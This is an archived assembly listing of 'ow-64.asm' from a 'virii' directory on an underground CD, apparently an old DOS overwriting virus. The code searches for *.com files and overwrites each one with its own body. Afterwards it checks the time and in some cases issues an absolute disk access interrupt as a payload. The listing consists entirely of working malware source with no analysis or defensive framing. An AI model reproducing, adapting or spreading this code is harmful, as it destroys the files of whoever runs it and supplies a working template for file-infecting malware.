home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / o / ow-64.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  763 b   |  29 lines
  1. Main:
  2.                 Mov Ah,4eh
  3. On1:            Lea Dx,FileSpec
  4.                 Int 21h
  5.                 Jc On2
  6.                 Mov Ax,3d02h
  7.                 Mov Dx,9eh
  8.                 Int 21h
  9.                 Mov Bh,40h
  10.                 Lea Dx,Main
  11.                 Xchg Ax,Bx
  12.                 Mov Cl,Ah
  13.                 Int 21h
  14.                 Mov Ah,3eh
  15.                 Int 21h
  16.                 Mov Ah,4fh
  17.                 Jmp On1
  18. FileSpec        Db '*.com',0
  19.                 Db 'Trident'
  20. On2:            Mov Ah,2ch
  21.                 Int 21h
  22.                 Cmp Dl,10
  23.                 Ja Ende
  24.                 Mov Al,2
  25.                 Xor Dx,Dx
  26.                 Int 25h
  27. Ende:           Ret
  28. Length          Equ $-Main
  29.